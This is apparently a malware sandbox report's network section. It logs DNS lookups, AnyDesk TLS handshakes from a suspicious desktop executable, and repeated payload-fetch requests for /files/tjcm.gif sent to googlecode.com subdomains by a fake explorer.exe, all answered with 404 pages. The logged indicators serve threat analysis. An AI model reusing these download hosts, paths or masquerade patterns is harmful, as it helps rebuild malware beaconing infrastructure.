Jul 16, 2022 23:57:19.530715942 CEST	192.168.2.5	8.8.8.8	0x88b	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:19.970247030 CEST	192.168.2.5	8.8.8.8	0xb157	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:20.577889919 CEST	192.168.2.5	8.8.8.8	0x6b7b	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:21.983445883 CEST	192.168.2.5	8.8.8.8	0xa848	Standard query (0)	codecmd01.googlecode.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:24.309936047 CEST	192.168.2.5	8.8.8.8	0x7b3c	Standard query (0)	codecmd02.googlecode.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:26.697851896 CEST	192.168.2.5	8.8.8.8	0x5962	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:26.779398918 CEST	192.168.2.5	8.8.8.8	0x433	Standard query (0)	codecmd03.googlecode.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:27.516161919 CEST	192.168.2.5	8.8.8.8	0xd62a	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:28.021388054 CEST	192.168.2.5	8.8.8.8	0x2050	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:44.230241060 CEST	192.168.2.5	8.8.8.8	0x2ef4	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:45.227916002 CEST	192.168.2.5	8.8.8.8	0x2d25	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:45.785418987 CEST	192.168.2.5	8.8.8.8	0xd638	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:58:24.959206104 CEST	192.168.2.5	8.8.8.8	0x86c5	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:58:25.372782946 CEST	192.168.2.5	8.8.8.8	0x84b8	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)
Jul 16, 2022 23:58:25.826083899 CEST	192.168.2.5	8.8.8.8	0x970f	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 16, 2022 23:57:19.550043106 CEST	8.8.8.8	192.168.2.5	0x88b	No error (0)	boot.net.anydesk.com		185.229.191.39	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:19.989499092 CEST	8.8.8.8	192.168.2.5	0xb157	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:20.598897934 CEST	8.8.8.8	192.168.2.5	0x6b7b	No error (0)	boot.net.anydesk.com		92.223.88.41	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:22.012310982 CEST	8.8.8.8	192.168.2.5	0xa848	No error (0)	codecmd01.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jul 16, 2022 23:57:22.012310982 CEST	8.8.8.8	192.168.2.5	0xa848	No error (0)	googlecode.l.googleusercontent.com		142.250.102.82	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:24.335664988 CEST	8.8.8.8	192.168.2.5	0x7b3c	No error (0)	codecmd02.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jul 16, 2022 23:57:24.335664988 CEST	8.8.8.8	192.168.2.5	0x7b3c	No error (0)	googlecode.l.googleusercontent.com		142.250.102.82	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:26.717003107 CEST	8.8.8.8	192.168.2.5	0x5962	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:26.808068037 CEST	8.8.8.8	192.168.2.5	0x433	No error (0)	codecmd03.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jul 16, 2022 23:57:26.808068037 CEST	8.8.8.8	192.168.2.5	0x433	No error (0)	googlecode.l.googleusercontent.com		142.250.102.82	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:27.540215015 CEST	8.8.8.8	192.168.2.5	0xd62a	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:28.041414022 CEST	8.8.8.8	192.168.2.5	0x2050	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:44.249377966 CEST	8.8.8.8	192.168.2.5	0x2ef4	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:45.250171900 CEST	8.8.8.8	192.168.2.5	0x2d25	No error (0)	boot.net.anydesk.com		92.223.88.41	A (IP address)	IN (0x0001)
Jul 16, 2022 23:57:45.804655075 CEST	8.8.8.8	192.168.2.5	0xd638	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)
Jul 16, 2022 23:58:24.978725910 CEST	8.8.8.8	192.168.2.5	0x86c5	No error (0)	boot.net.anydesk.com		49.12.130.237	A (IP address)	IN (0x0001)
Jul 16, 2022 23:58:25.390219927 CEST	8.8.8.8	192.168.2.5	0x84b8	No error (0)	boot.net.anydesk.com		92.223.88.41	A (IP address)	IN (0x0001)
Jul 16, 2022 23:58:25.845954895 CEST	8.8.8.8	192.168.2.5	0x970f	No error (0)	boot.net.anydesk.com		49.12.130.236	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

codecmd01.googlecode.com

codecmd02.googlecode.com

codecmd03.googlecode.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49769	49.12.130.236	80	C:\Users\user\Desktop\sj9q8uwmax.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:20.019409895 CEST	1179	OUT	Data Raw: 16 03 01 01 0c 01 00 01 08 03 03 c0 5e a3 fe 8e 87 ac bd e5 80 22 1d d4 ed 9e b7 e0 b3 26 81 d2 ea aa 13 ec da a6 e2 19 fe 6b 6d 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: ^"&kmn0,($kjih98762.*&=5/+'#g@?>32101-)%</q#
Jul 16, 2022 23:57:20.045289040 CEST	1181	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 62 d3 34 40 e1 4d 06 5c 05 1f 4f b0 e0 ef da 17 0e b0 ab 92 5c f0 3f 08 44 4f 57 4e 47 52 44 01 20 21 19 c0 f2 08 2e 02 2b 21 78 fe 3e 61 8b 1f 7f ec 32 15 a9 6e 82 b0 86 dc f0 41 6e 3b f7 78 9c c0 2c 00 00 0b ff Data Ascii: WSb4@M\O\?DOWNGRD !.+!x>a2nAn;x,C0?0'0vtS$0*H0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0181118021423Z281115021
Jul 16, 2022 23:57:20.045331955 CEST	1195	IN	Data Raw: ea 2c 3f 5b 94 14 85 2e ad 11 61 ab 88 f6 01 bb b3 47 6b e2 81 18 f1 8e 39 e6 d8 7b 0c 63 86 83 ac 70 84 75 27 2d 35 3d 7b 7b a8 ce b2 48 79 08 38 2d 82 26 7e 93 4b 32 76 66 85 a7 fd ca f1 0a 2f c7 62 0f 6a 40 fe 1a 6b 58 1c 53 e4 63 c1 75 83 9a Data Ascii: ,?[.aGk9{cpu'-5={{Hy8-&~K2vf/bj@kXScuxI#ph3/L^}a}4AkP+g_R4gs@lo67Jv"rR}uMU#[~.K_eCL/3q EOpN{$B
Jul 16, 2022 23:57:20.061772108 CEST	1201	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 32 30 37 31 37 30 36 35 37 Data Ascii: 000H010UAnyDesk Client0 220717065706Z20720704065706Z010UAnyDesk Client0"0H0uaq4_8[_\|_,zN+i/q)NU*E:uFQ[Z+
Jul 16, 2022 23:57:20.086858034 CEST	1201	IN	Data Raw: 15 03 03 00 02 02 2d Data Ascii: -

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49775	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:22.092885971 CEST	1274	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:22.120779037 CEST	1276	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:22 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:22.120810986 CEST	1276	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49857	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:45.276844025 CEST	2616	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:45.303518057 CEST	2617	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:45 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:45.303544044 CEST	2618	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49858	92.223.88.41	80	C:\Users\user\Desktop\sj9q8uwmax.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:45.296717882 CEST	2616	OUT	Data Raw: 16 03 01 01 0c 01 00 01 08 03 03 b6 a4 b6 45 92 b1 9e 7d dc d3 26 3b 11 79 27 7e 9a f7 bd 32 ea f8 de aa 9c 14 84 6a 4d 6b 2e 2c 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: E}&;y'~2jMk.,n0,($kjih98762.*&=5/+'#g@?>32101-)%</q#
Jul 16, 2022 23:57:45.329350948 CEST	2619	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 62 d3 34 59 05 b0 1d af 58 18 63 e0 3a 29 40 4c 0b ab 4c 69 08 a8 83 00 44 4f 57 4e 47 52 44 01 20 03 f2 2d 96 fd aa 72 0a 5d 18 90 5f ab ec ea ee 23 ca 3a 2a 4b 7b 4c 06 77 01 7c 88 09 4a 1b d0 c0 2c 00 00 0b ff Data Ascii: WSb4YXc:)@LLiDOWNGRD -r]_#:K{Lw\|J,C0?0'0vtS$0H0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0181118021423Z281115021
Jul 16, 2022 23:57:45.329385042 CEST	2621	IN	Data Raw: e0 cd 68 3b 6a 87 6c a6 0d e7 d8 bd 61 df 56 6b 2a e1 1c 2b f5 9f bf 85 dd 8c 5b 06 1e 71 7f ba 4a a6 40 b0 77 17 ea 2c 3f 5b 94 14 85 2e ad 11 61 ab 88 f6 01 bb b3 47 6b e2 81 18 f1 8e 39 e6 d8 7b 0c 63 86 83 ac 70 84 75 27 2d 35 3d 7b 7b a8 ce Data Ascii: h;jlaVk*+[qJ@w,?[.aGk9{cpu'-5={{Hy8-&~K2vf/bj@kXScuxI#ph3/L^}a}4AkP+g_R4gs@lo67Jv"rR}uMU#[~.K_eCL/3
Jul 16, 2022 23:57:45.346925020 CEST	2622	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 32 30 37 31 37 30 36 35 37 Data Ascii: 000H010UAnyDesk Client0 220717065706Z20720704065706Z010UAnyDesk Client0"0H0uaq4_8[_\|_,zN+i/q)NU*E:uFQ[Z+
Jul 16, 2022 23:57:45.377835035 CEST	2622	IN	Data Raw: 15 03 03 00 02 02 2d Data Ascii: -

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49862	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:46.730978966 CEST	2640	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:46.758766890 CEST	2642	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:46 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 